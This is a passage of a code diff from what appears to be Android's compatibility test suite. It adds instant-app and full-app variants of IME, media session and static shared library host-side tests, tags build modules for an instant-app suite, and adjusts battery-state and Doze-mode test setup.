+ public void testDisableCurrentImeInstant() throws Exception {
+ testDisableCurrentIme(true);
+ }
+
+ private void testSwitchInputMethod(boolean instant) throws Exception {
final TestInfo testSetInputMethod = new TestInfo(
DeviceTestConstants.PACKAGE, DeviceTestConstants.TEST_CLASS,
DeviceTestConstants.TEST_SWITCH_INPUTMETHOD);
sendTestStartEvent(testSetInputMethod);
+ installPossibleInstantPackage(EditTextAppConstants.APK, instant);
installPackage(Ime1Constants.APK, "-r");
installPackage(Ime2Constants.APK, "-r");
shell(ShellCommandUtils.enableIme(Ime1Constants.IME_ID));
@@ -120,12 +167,24 @@
assertTrue(runDeviceTestMethod(testSetInputMethod));
}
+ @AppModeFull
@Test
- public void testSwitchToNextInput() throws Exception {
+ public void testSwitchInputMethodFull() throws Exception {
+ testSwitchInputMethod(false);
+ }
+
+ @AppModeInstant
+ @Test
+ public void testSwitchInputMethodInstant() throws Exception {
+ testSwitchInputMethod(true);
+ }
+
+ private void testSwitchToNextInput(boolean instant) throws Exception {
final TestInfo testSwitchInputs = new TestInfo(
DeviceTestConstants.PACKAGE, DeviceTestConstants.TEST_CLASS,
DeviceTestConstants.TEST_SWITCH_NEXT_INPUT);
sendTestStartEvent(testSwitchInputs);
+ installPossibleInstantPackage(EditTextAppConstants.APK, instant);
installPackage(Ime1Constants.APK, "-r");
installPackage(Ime2Constants.APK, "-r");
shell(ShellCommandUtils.enableIme(Ime1Constants.IME_ID));
@@ -137,12 +196,24 @@
assertTrue(runDeviceTestMethod(testSwitchInputs));
}
+ @AppModeFull
@Test
- public void testSwitchToPreviousInput() throws Exception {
+ public void testSwitchToNextInputFull() throws Exception {
+ testSwitchToNextInput(false);
+ }
+
+ @AppModeInstant
+ @Test
+ public void testSwitchToNextInputInstant() throws Exception {
+ testSwitchToNextInput(true);
+ }
+
+ private void testSwitchToPreviousInput(boolean instant) throws Exception {
final TestInfo testSwitchInputs = new TestInfo(
DeviceTestConstants.PACKAGE, DeviceTestConstants.TEST_CLASS,
DeviceTestConstants.TEST_SWITCH_PREVIOUS_INPUT);
sendTestStartEvent(testSwitchInputs);
+ installPossibleInstantPackage(EditTextAppConstants.APK, instant);
installPackage(Ime1Constants.APK, "-r");
installPackage(Ime2Constants.APK, "-r");
shell(ShellCommandUtils.enableIme(Ime1Constants.IME_ID));
@@ -152,12 +223,24 @@
assertTrue(runDeviceTestMethod(testSwitchInputs));
}
+ @AppModeFull
@Test
- public void testInputUnbindsOnImeStopped() throws Exception {
+ public void testSwitchToPreviousInputFull() throws Exception {
+ testSwitchToPreviousInput(false);
+ }
+
+ @AppModeInstant
+ @Test
+ public void testSwitchToPreviousInputInstant() throws Exception {
+ testSwitchToPreviousInput(true);
+ }
+
+ private void testInputUnbindsOnImeStopped(boolean instant) throws Exception {
final TestInfo testUnbind = new TestInfo(
DeviceTestConstants.PACKAGE, DeviceTestConstants.TEST_CLASS,
DeviceTestConstants.TEST_INPUT_UNBINDS_ON_IME_STOPPED);
sendTestStartEvent(testUnbind);
+ installPossibleInstantPackage(EditTextAppConstants.APK, instant);
installPackage(Ime1Constants.APK, "-r");
installPackage(Ime2Constants.APK, "-r");
shell(ShellCommandUtils.enableIme(Ime1Constants.IME_ID));
@@ -167,20 +250,43 @@
assertTrue(runDeviceTestMethod(testUnbind));
}
+ @AppModeFull
@Test
- public void testInputUnbindsOnAppStop() throws Exception {
+ public void testInputUnbindsOnImeStoppedFull() throws Exception {
+ testInputUnbindsOnImeStopped(false);
+ }
+
+ @AppModeInstant
+ @Test
+ public void testInputUnbindsOnImeStoppedInstant() throws Exception {
+ testInputUnbindsOnImeStopped(true);
+ }
+
+ private void testInputUnbindsOnAppStop(boolean instant) throws Exception {
final TestInfo testUnbind = new TestInfo(
DeviceTestConstants.PACKAGE, DeviceTestConstants.TEST_CLASS,
DeviceTestConstants.TEST_INPUT_UNBINDS_ON_APP_STOPPED);
sendTestStartEvent(testUnbind);
+ installPossibleInstantPackage(EditTextAppConstants.APK, instant);
installPackage(Ime1Constants.APK, "-r");
- installPackage(EditTextAppConstants.APK, "-r");
shell(ShellCommandUtils.enableIme(Ime1Constants.IME_ID));
shell(ShellCommandUtils.setCurrentIme(Ime1Constants.IME_ID));
assertTrue(runDeviceTestMethod(testUnbind));
}
+ @AppModeFull
+ @Test
+ public void testInputUnbindsOnAppStopFull() throws Exception {
+ testInputUnbindsOnAppStop(false);
+ }
+
+ @AppModeInstant
+ @Test
+ public void testInputUnbindsOnAppStopInstant() throws Exception {
+ testInputUnbindsOnAppStop(true);
+ }
+
private void sendTestStartEvent(final TestInfo deviceTest) throws Exception {
final String sender = deviceTest.getTestName();
// {@link EventType#EXTRA_EVENT_TIME} will be recorded at device side.
diff --git a/hostsidetests/media/Android.mk b/hostsidetests/media/Android.mk
index db83686..4823ec8 100644
--- a/hostsidetests/media/Android.mk
+++ b/hostsidetests/media/Android.mk
@@ -24,7 +24,7 @@
LOCAL_MODULE_TAGS := tests
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
LOCAL_MODULE := CtsMediaHostTestCases
diff --git a/hostsidetests/media/app/MediaSessionTest/Android.mk b/hostsidetests/media/app/MediaSessionTest/Android.mk
index 7303147..174a744 100644
--- a/hostsidetests/media/app/MediaSessionTest/Android.mk
+++ b/hostsidetests/media/app/MediaSessionTest/Android.mk
@@ -16,7 +16,7 @@
include $(CLEAR_VARS)
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
LOCAL_PACKAGE_NAME := CtsMediaSessionHostTestApp
diff --git a/hostsidetests/media/app/MediaSessionTest/AndroidManifest.xml b/hostsidetests/media/app/MediaSessionTest/AndroidManifest.xml
index 18060e1..72d3e64 100644
--- a/hostsidetests/media/app/MediaSessionTest/AndroidManifest.xml
+++ b/hostsidetests/media/app/MediaSessionTest/AndroidManifest.xml
@@ -15,7 +15,8 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.media.session.cts">
+ package="android.media.session.cts"
+ android:targetSandboxVersion="2">
<uses-sdk android:minSdkVersion="26"/>
diff --git a/hostsidetests/media/app/MediaSessionTestHelper/Android.mk b/hostsidetests/media/app/MediaSessionTestHelper/Android.mk
index 871140a..514f86a 100644
--- a/hostsidetests/media/app/MediaSessionTestHelper/Android.mk
+++ b/hostsidetests/media/app/MediaSessionTestHelper/Android.mk
@@ -30,7 +30,7 @@
$(call all-java-files-under, ../../common)
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
LOCAL_PACKAGE_NAME := CtsMediaSessionTestHelper
diff --git a/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java b/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java
index d505394..74ec892 100644
--- a/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java
+++ b/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java
@@ -150,12 +150,17 @@
* @param appFileName file name of the app.
* @param userId user ID to install the app against.
*/
- protected void installAppAsUser(String appFileName, int userId)
+ protected void installAppAsUser(String appFileName, int userId, boolean asInstantApp)
throws FileNotFoundException, DeviceNotAvailableException {
CLog.d("Installing app " + appFileName + " for user " + userId);
CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
String result = getDevice().installPackageForUser(
- buildHelper.getTestFile(appFileName), true, true, userId, "-t");
+ buildHelper.getTestFile(appFileName),
+ true,
+ true,
+ userId,
+ "-t",
+ asInstantApp ? "--instant" : "");
assertNull("Failed to install " + appFileName + " for user " + userId + ": " + result,
result);
}
diff --git a/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java b/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java
index 4e3fa16..a5aa998 100644
--- a/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java
+++ b/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java
@@ -24,6 +24,8 @@
import android.media.cts.BaseMultiUserTest;
import android.media.cts.MediaSessionTestHelperConstants;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AppModeInstant;
import android.platform.test.annotations.RequiresDevice;
import com.android.ddmlib.Log.LogLevel;
@@ -81,8 +83,22 @@
/**
* Tests {@link MediaSessionManager#getActiveSessions} with the primary user.
*/
+ @AppModeInstant
@RequiresDevice
- public void testGetActiveSessions_primaryUser() throws Exception {
+ public void testGetActiveSessionsInstant_primaryUser() throws Exception {
+ testGetActiveSessions_primaryUser(true);
+ }
+
+ /**
+ * Tests {@link MediaSessionManager#getActiveSessions} with the primary user.
+ */
+ @AppModeFull
+ @RequiresDevice
+ public void testGetActiveSessionsFull_primaryUser() throws Exception {
+ testGetActiveSessions_primaryUser(false);
+ }
+
+ private void testGetActiveSessions_primaryUser(boolean instant) throws Exception {
if (mNotificationListenerDisabled) {
CLog.logAndDisplay(LogLevel.INFO,
"NotificationListener is disabled. Test won't run.");
@@ -91,10 +107,10 @@
int primaryUserId = getDevice().getPrimaryUserId();
setAllowGetActiveSessionForTest(true, primaryUserId);
- installAppAsUser(DEVICE_SIDE_TEST_APK, primaryUserId);
+ installAppAsUser(DEVICE_SIDE_TEST_APK, primaryUserId, instant);
runTest("testGetActiveSessions_noMediaSessionFromMediaSessionTestHelper");
- installAppAsUser(MEDIA_SESSION_TEST_HELPER_APK, primaryUserId);
+ installAppAsUser(MEDIA_SESSION_TEST_HELPER_APK, primaryUserId, false);
sendControlCommand(primaryUserId, FLAG_CREATE_MEDIA_SESSION);
runTest("testGetActiveSessions_noMediaSessionFromMediaSessionTestHelper");
@@ -105,8 +121,22 @@
/**
* Tests {@link MediaSessionManager#getActiveSessions} with additional users.
*/
+ @AppModeInstant
@RequiresDevice
- public void testGetActiveSessions_additionalUser() throws Exception {
+ public void testGetActiveSessionsInstant_additionalUser() throws Exception {
+ testGetActiveSessions_additionalUser(true);
+ }
+
+ /**
+ * Tests {@link MediaSessionManager#getActiveSessions} with additional users.
+ */
+ @AppModeFull
+ @RequiresDevice
+ public void testGetActiveSessionsFull_additionalUser() throws Exception {
+ testGetActiveSessions_additionalUser(false);
+ }
+
+ private void testGetActiveSessions_additionalUser(boolean instant) throws Exception {
if (!canCreateAdditionalUsers(1)) {
CLog.logAndDisplay(LogLevel.INFO,
"Cannot create a new user. Skipping multi-user test cases.");
@@ -120,7 +150,7 @@
// Test if another user can get the session.
int newUser = createAndStartUser();
- installAppAsUser(DEVICE_SIDE_TEST_APK, newUser);
+ installAppAsUser(DEVICE_SIDE_TEST_APK, newUser, instant);
setAllowGetActiveSessionForTest(true, newUser);
runTestAsUser("testGetActiveSessions_noMediaSession", newUser);
removeUser(newUser);
@@ -129,8 +159,23 @@
/**
* Tests {@link MediaSessionManager#getActiveSessions} with restricted profiles.
*/
+ @AppModeInstant
@RequiresDevice
- public void testGetActiveSessions_restrictedProfiles() throws Exception {
+ public void testGetActiveSessionsInstant_restrictedProfiles() throws Exception {
+ testGetActiveSessions_restrictedProfiles(true);
+ }
+
+ /**
+ * Tests {@link MediaSessionManager#getActiveSessions} with restricted profiles.
+ */
+ @AppModeFull
+ @RequiresDevice
+ public void testGetActiveSessionsFull_restrictedProfiles() throws Exception {
+ testGetActiveSessions_restrictedProfiles(false);
+ }
+
+ private void testGetActiveSessions_restrictedProfiles(boolean instant)
+ throws Exception {
if (!canCreateAdditionalUsers(1)) {
CLog.logAndDisplay(LogLevel.INFO,
"Cannot create a new user. Skipping multi-user test cases.");
@@ -145,7 +190,7 @@
// Test if another restricted profile can get the session.
// Remove the created user first not to exceed system's user number limit.
int newUser = createAndStartRestrictedProfile(getDevice().getPrimaryUserId());
- installAppAsUser(DEVICE_SIDE_TEST_APK, newUser);
+ installAppAsUser(DEVICE_SIDE_TEST_APK, newUser, instant);
setAllowGetActiveSessionForTest(true, newUser);
runTestAsUser("testGetActiveSessions_noMediaSession", newUser);
removeUser(newUser);
@@ -154,8 +199,23 @@
/**
* Tests {@link MediaSessionManager#getActiveSessions} with managed profiles.
*/
+ @AppModeInstant
@RequiresDevice
- public void testGetActiveSessions_managedProfiles() throws Exception {
+ public void testGetActiveSessionsInstant_managedProfiles() throws Exception {
+ testGetActiveSessions_managedProfiles(true);
+ }
+
+ /**
+ * Tests {@link MediaSessionManager#getActiveSessions} with managed profiles.
+ */
+ @AppModeFull
+ @RequiresDevice
+ public void testGetActiveSessionsFull_managedProfiles() throws Exception {
+ testGetActiveSessions_managedProfiles(false);
+ }
+
+ private void testGetActiveSessions_managedProfiles(boolean instant)
+ throws Exception {
if (!hasDeviceFeature("android.software.managed_users")) {
CLog.logAndDisplay(LogLevel.INFO,
"Device doesn't support managed profiles. Test won't run.");
@@ -170,7 +230,7 @@
// Test if another managed profile can get the session.
// Remove the created user first not to exceed system's user number limit.
int newUser = createAndStartManagedProfile(getDevice().getPrimaryUserId());
- installAppAsUser(DEVICE_SIDE_TEST_APK, newUser);
+ installAppAsUser(DEVICE_SIDE_TEST_APK, newUser, instant);
setAllowGetActiveSessionForTest(true, newUser);
runTestAsUser("testGetActiveSessions_noMediaSession", newUser);
removeUser(newUser);
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java
index 03659dc..5232372 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java
@@ -20,6 +20,10 @@
import static android.net.ConnectivityManager.RESTRICT_BACKGROUND_STATUS_DISABLED;
import static android.net.ConnectivityManager.RESTRICT_BACKGROUND_STATUS_ENABLED;
import static android.net.ConnectivityManager.RESTRICT_BACKGROUND_STATUS_WHITELISTED;
+import static android.os.BatteryManager.BATTERY_PLUGGED_AC;
+import static android.os.BatteryManager.BATTERY_PLUGGED_USB;
+import static android.os.BatteryManager.BATTERY_PLUGGED_WIRELESS;
+
import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
import java.util.concurrent.CountDownLatch;
@@ -81,6 +85,9 @@
protected static final String NOTIFICATION_TYPE_ACTION_BUNDLE = "ACTION_BUNDLE";
protected static final String NOTIFICATION_TYPE_ACTION_REMOTE_INPUT = "ACTION_REMOTE_INPUT";
+ // TODO: Update BatteryManager.BATTERY_PLUGGED_ANY as @TestApi
+ public static final int BATTERY_PLUGGED_ANY =
+ BATTERY_PLUGGED_AC | BATTERY_PLUGGED_USB | BATTERY_PLUGGED_WIRELESS;
private static final String NETWORK_STATUS_SEPARATOR = "\\|";
private static final int SECOND_IN_MS = 1000;
@@ -817,11 +824,16 @@
protected void turnBatteryOn() throws Exception {
executeSilentShellCommand("cmd battery unplug");
+ executeSilentShellCommand("cmd battery set status "
+ + BatteryManager.BATTERY_STATUS_DISCHARGING);
assertBatteryState(false);
}
protected void turnBatteryOff() throws Exception {
- executeSilentShellCommand("cmd battery reset");
+ executeSilentShellCommand("cmd battery set ac " + BATTERY_PLUGGED_ANY);
+ executeSilentShellCommand("cmd battery set level 100");
+ executeSilentShellCommand("cmd battery set status "
+ + BatteryManager.BATTERY_STATUS_CHARGING);
assertBatteryState(true);
}
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/MixedModesTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/MixedModesTest.java
index 76332be..87f9d77 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/MixedModesTest.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/MixedModesTest.java
@@ -57,18 +57,22 @@
}
}
+ @Override
+ public boolean isSupported() throws Exception {
+ if (!isDozeModeEnabled()) {
+ Log.i(TAG, "Skipping " + getClass() + "." + getName()
+ + "() because device does not support Doze Mode");
+ return false;
+ }
+ return true;
+ }
+
/**
* Tests all DS ON and BS ON scenarios from network-policy-restrictions.md on metered networks.
*/
public void testDataAndBatterySaverModes_meteredNetwork() throws Exception {
if (!isSupported()) return;
- if (!isDozeModeEnabled()) {
- Log.w(TAG, "testDataAndBatterySaverModes_meteredNetwork() skipped because "
- + "device does not support Doze Mode");
- return;
- }
-
Log.i(TAG, "testDataAndBatterySaverModes_meteredNetwork() tests");
if (!setMeteredNetwork()) {
Log.w(TAG, "testDataAndBatterySaverModes_meteredNetwork() skipped because "
@@ -139,12 +143,6 @@
public void testDataAndBatterySaverModes_nonMeteredNetwork() throws Exception {
if (!isSupported()) return;
- if (!isDozeModeEnabled()) {
- Log.w(TAG, "testDataAndBatterySaverModes_nonMeteredNetwork() skipped because "
- + "device does not support Doze Mode");
- return;
- }
-
if (!setUnmeteredNetwork()) {
Log.w(TAG, "testDataAndBatterySaverModes_nonMeteredNetwork() skipped because network"
+ " is metered");
@@ -211,11 +209,6 @@
if (!isSupported()) {
return;
}
- if (!isDozeModeEnabled()) {
- Log.i(TAG, "Skipping " + getClass() + "." + getName()
- + "() because device does not support Doze Mode");
- return;
- }
setBatterySaverMode(true);
setDozeMode(true);
@@ -246,11 +239,6 @@
if (!isSupported()) {
return;
}
- if (!isDozeModeEnabled()) {
- Log.i(TAG, "Skipping " + getClass() + "." + getName()
- + "() because device does not support Doze Mode");
- return;
- }
setDozeMode(true);
setAppIdle(true);
@@ -277,11 +265,6 @@
if (!isSupported()) {
return;
}
- if (!isDozeModeEnabled()) {
- Log.i(TAG, "Skipping " + getClass() + "." + getName()
- + "() because device does not support Doze Mode");
- return;
- }
setDozeMode(true);
setAppIdle(true);
diff --git a/hostsidetests/os/Android.mk b/hostsidetests/os/Android.mk
index 1b806c9..932e2cf 100644
--- a/hostsidetests/os/Android.mk
+++ b/hostsidetests/os/Android.mk
@@ -28,7 +28,7 @@
LOCAL_CTS_TEST_PACKAGE := android.host.os
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/os/app/Android.mk b/hostsidetests/os/app/Android.mk
index bc70dec..31e2812 100644
--- a/hostsidetests/os/app/Android.mk
+++ b/hostsidetests/os/app/Android.mk
@@ -24,7 +24,7 @@
LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
LOCAL_PACKAGE_NAME := CtsDeviceOsTestApp
diff --git a/hostsidetests/os/app/AndroidManifest.xml b/hostsidetests/os/app/AndroidManifest.xml
index 4c4338b..fa9d9ae 100755
--- a/hostsidetests/os/app/AndroidManifest.xml
+++ b/hostsidetests/os/app/AndroidManifest.xml
@@ -16,7 +16,8 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.os.app">
+ package="android.os.app"
+ android:targetSandboxVersion="2">
<application>
<activity android:name=".TestNonExported"
diff --git a/hostsidetests/os/src/android/os/cts/OsHostTests.java b/hostsidetests/os/src/android/os/cts/OsHostTests.java
index e36b1c7..086f787 100644
--- a/hostsidetests/os/src/android/os/cts/OsHostTests.java
+++ b/hostsidetests/os/src/android/os/cts/OsHostTests.java
@@ -16,6 +16,8 @@
package android.os.cts;
+import android.platform.test.annotations.AppModeFull;
+
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.tradefed.build.IBuildInfo;
import com.android.tradefed.device.CollectingOutputReceiver;
@@ -82,6 +84,7 @@
*
* @throws Exception
*/
+ @AppModeFull(reason = "Error message is different for instant app (Activity does not exist)")
public void testNonExportedActivities() throws Exception {
// Attempt to launch the non-exported activity in the test app
CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
diff --git a/hostsidetests/os/src/android/os/cts/StaticSharedLibsHostTests.java b/hostsidetests/os/src/android/os/cts/StaticSharedLibsHostTests.java
index 5097df6..d4b34ce 100644
--- a/hostsidetests/os/src/android/os/cts/StaticSharedLibsHostTests.java
+++ b/hostsidetests/os/src/android/os/cts/StaticSharedLibsHostTests.java
@@ -16,6 +16,9 @@
package android.os.cts;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AppModeInstant;
+
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
import com.android.ddmlib.testrunner.TestResult.TestStatus;
@@ -28,6 +31,7 @@
import com.android.tradefed.testtype.DeviceTestCase;
import com.android.tradefed.testtype.IBuildReceiver;
+import java.io.FileNotFoundException;
import java.util.Map;
public class StaticSharedLibsHostTests extends DeviceTestCase implements IBuildReceiver {
@@ -85,26 +89,35 @@
= "android.os.lib.consumer";
private CompatibilityBuildHelper mBuildHelper;
+ private boolean mInstantMode = false;
@Override
public void setBuild(IBuildInfo buildInfo) {
mBuildHelper = new CompatibilityBuildHelper(buildInfo);
}
- public void testInstallSharedLibrary() throws Exception {
+ @AppModeInstant
+ public void testInstallSharedLibraryInstantMode() throws Exception {
+ mInstantMode = true;
+ doTestInstallSharedLibrary();
+ }
+
+ @AppModeFull
+ public void testInstallSharedLibraryFullMode() throws Exception {
+ doTestInstallSharedLibrary();
+ }
+
+ private void doTestInstallSharedLibrary() throws Exception {
getDevice().uninstallPackage(STATIC_LIB_PROVIDER1_PKG);
getDevice().uninstallPackage(STATIC_LIB_PROVIDER2_PKG);
getDevice().uninstallPackage(STATIC_LIB_PROVIDER_RECURSIVE_PKG);
try {
// Install library dependency
- assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
- STATIC_LIB_PROVIDER_RECURSIVE_APK), false, false));
+ assertNull(install(STATIC_LIB_PROVIDER_RECURSIVE_APK));
// Install version 1
- assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
- STATIC_LIB_PROVIDER1_APK), false, false));
+ assertNull(install(STATIC_LIB_PROVIDER1_APK));
// Install version 2
- assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
- STATIC_LIB_PROVIDER2_APK), false, false));
+ assertNull(install(STATIC_LIB_PROVIDER2_APK));
// Uninstall version 1
assertNull(getDevice().uninstallPackage(STATIC_LIB_PROVIDER1_PKG));
// Uninstall version 2
@@ -118,13 +131,23 @@
}
}
- public void testCannotInstallSharedLibraryWithMissingDependency() throws Exception {
+ @AppModeInstant
+ public void testCannotInstallSharedLibraryWithMissingDependencyInstantMode() throws Exception {
+ mInstantMode = true;
+ doTestCannotInstallSharedLibraryWithMissingDependency();
+ }
+
+ @AppModeFull
+ public void testCannotInstallSharedLibraryWithMissingDependencyFullMode() throws Exception {
+ doTestCannotInstallSharedLibraryWithMissingDependency();
+ }
+
+ private void doTestCannotInstallSharedLibraryWithMissingDependency() throws Exception {
getDevice().uninstallPackage(STATIC_LIB_PROVIDER1_PKG);
getDevice().uninstallPackage(STATIC_LIB_PROVIDER2_PKG);
try {
// Install version 1 - should fail - no dependency
- assertNotNull(getDevice().installPackage(mBuildHelper.getTestFile(
- STATIC_LIB_PROVIDER1_APK), false, false));
+ assertNotNull(install(STATIC_LIB_PROVIDER1_APK));
} finally {
getDevice().uninstallPackage(STATIC_LIB_PROVIDER1_PKG);
getDevice().uninstallPackage(STATIC_LIB_PROVIDER2_PKG);
@@ -137,14 +160,11 @@
getDevice().uninstallPackage(STATIC_LIB_PROVIDER_RECURSIVE_PKG);
try {
// Install library dependency
- assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
- STATIC_LIB_PROVIDER_RECURSIVE_APK), false, false));
+ assertNull(install(STATIC_LIB_PROVIDER_RECURSIVE_APK));
// Install the library
- assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
- STATIC_LIB_PROVIDER1_APK), false, false));
+ assertNull(install(STATIC_LIB_PROVIDER1_APK));
// Install the client
- assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
- STATIC_LIB_CONSUMER1_APK), false, false));
+ assertNull(install(STATIC_LIB_CONSUMER1_APK));
// Try to load code and resources
runDeviceTests(STATIC_LIB_CONSUMER1_PKG,
"android.os.lib.consumer1.UseSharedLibraryTest",
@@ -156,16 +176,25 @@
}
}
- public void testCannotUninstallUsedSharedLibrary1() throws Exception {
+ @AppModeInstant
+ public void testCannotUninstallUsedSharedLibrary1InstantMode() throws Exception {
+ mInstantMode = true;
+ doTestCannotUninstallUsedSharedLibrary1();
+ }
+
+ @AppModeFull
+ public void testCannotUninstallUsedSharedLibrary1FullMode() throws Exception {
+ doTestCannotUninstallUsedSharedLibrary1();
+ }
+
+ private void doTestCannotUninstallUsedSharedLibrary1() throws Exception {
getDevice().uninstallPackage(STATIC_LIB_PROVIDER1_PKG);
getDevice().uninstallPackage(STATIC_LIB_PROVIDER_RECURSIVE_PKG);
try {
// Install library dependency
- assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
- STATIC_LIB_PROVIDER_RECURSIVE_APK), false, false));
+ assertNull(install(STATIC_LIB_PROVIDER_RECURSIVE_APK));
// Install the library
- assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
- STATIC_LIB_PROVIDER1_APK), false, false));
+ assertNull(install(STATIC_LIB_PROVIDER1_APK));
// The library dependency cannot be uninstalled
assertNotNull(getDevice().uninstallPackage(STATIC_LIB_PROVIDER_RECURSIVE_PKG));
// Now the library dependency can be uninstalled
@@ -178,20 +207,28 @@
}
}
- public void testCannotUninstallUsedSharedLibrary2() throws Exception {
+ @AppModeInstant
+ public void testCannotUninstallUsedSharedLibrary2InstantMode() throws Exception {
+ mInstantMode = true;
+ doTestCannotUninstallUsedSharedLibrary2();
+ }
+
+ @AppModeFull
+ public void testCannotUninstallUsedSharedLibrary2FullMode() throws Exception {
+ doTestCannotUninstallUsedSharedLibrary2();
+ }
+
+ private void doTestCannotUninstallUsedSharedLibrary2() throws Exception {
getDevice().uninstallPackage(STATIC_LIB_CONSUMER1_PKG);
getDevice().uninstallPackage(STATIC_LIB_PROVIDER1_PKG);
getDevice().uninstallPackage(STATIC_LIB_PROVIDER_RECURSIVE_PKG);
try {
// Install library dependency
- assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
- STATIC_LIB_PROVIDER_RECURSIVE_APK), false, false));
+ assertNull(install(STATIC_LIB_PROVIDER_RECURSIVE_APK));
// Install the library
- assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
- STATIC_LIB_PROVIDER1_APK), false, false));
+ assertNull(install(STATIC_LIB_PROVIDER1_APK));
// Install the client
- assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
- STATIC_LIB_CONSUMER1_APK), false, false));
+ assertNull(install(STATIC_LIB_CONSUMER1_APK));
// The library cannot be uninstalled
assertNotNull(getDevice().uninstallPackage(STATIC_LIB_PROVIDER1_PKG));
// Uninstall the client
@@ -207,24 +244,31 @@
}
}
- public void testLibraryVersionsAndVersionCodesSameOrder() throws Exception {
+ @AppModeInstant
+ public void testLibraryVersionsAndVersionCodesSameOrderInstantMode() throws Exception {
+ mInstantMode = true;
+ doTestLibraryVersionsAndVersionCodesSameOrder();
+ }
+
+ @AppModeFull
+ public void testLibraryVersionsAndVersionCodesSameOrderFullMode() throws Exception {
+ doTestLibraryVersionsAndVersionCodesSameOrder();
+ }
+
+ private void doTestLibraryVersionsAndVersionCodesSameOrder() throws Exception {
getDevice().uninstallPackage(STATIC_LIB_PROVIDER1_PKG);
getDevice().uninstallPackage(STATIC_LIB_PROVIDER2_PKG);
getDevice().uninstallPackage(STATIC_LIB_PROVIDER3_PKG);
getDevice().uninstallPackage(STATIC_LIB_PROVIDER_RECURSIVE_PKG);
try {
// Install library dependency
- assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
- STATIC_LIB_PROVIDER_RECURSIVE_APK), false, false));
+ assertNull(install(STATIC_LIB_PROVIDER_RECURSIVE_APK));
// Install library version 1 with version code 1
- assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
- STATIC_LIB_PROVIDER1_APK), false, false));
+ assertNull(install(STATIC_LIB_PROVIDER1_APK));
// Install library version 2 with version code 4
- assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
- STATIC_LIB_PROVIDER2_APK), false, false));
+ assertNull(install(STATIC_LIB_PROVIDER2_APK));
// Shouldn't be able to install library version 3 with version code 3
- assertNotNull(getDevice().installPackage(mBuildHelper.getTestFile(
- STATIC_LIB_PROVIDER3_APK), false, false));
+ assertNotNull(install(STATIC_LIB_PROVIDER3_APK));
} finally {
getDevice().uninstallPackage(STATIC_LIB_PROVIDER1_PKG);
getDevice().uninstallPackage(STATIC_LIB_PROVIDER2_PKG);
@@ -233,30 +277,48 @@
}
}
- public void testCannotInstallAppWithMissingLibrary() throws Exception {
+ @AppModeInstant
+ public void testCannotInstallAppWithMissingLibraryInstantMode() throws Exception {
+ mInstantMode = true;
+ doTestCannotInstallAppWithMissingLibrary();
+ }
+
+ @AppModeFull
+ public void testCannotInstallAppWithMissingLibraryFullMode() throws Exception {
+ doTestCannotInstallAppWithMissingLibrary();
+ }
+
+ private void doTestCannotInstallAppWithMissingLibrary() throws Exception {
getDevice().uninstallPackage(STATIC_LIB_CONSUMER1_PKG);
try {
// Shouldn't be able to install an app if a dependency lib is missing
- assertNotNull(getDevice().installPackage(mBuildHelper.getTestFile(
- STATIC_LIB_CONSUMER1_APK), false, false));
+ assertNotNull(install(STATIC_LIB_CONSUMER1_APK));
} finally {
getDevice().uninstallPackage(STATIC_LIB_CONSUMER1_PKG);
}
}
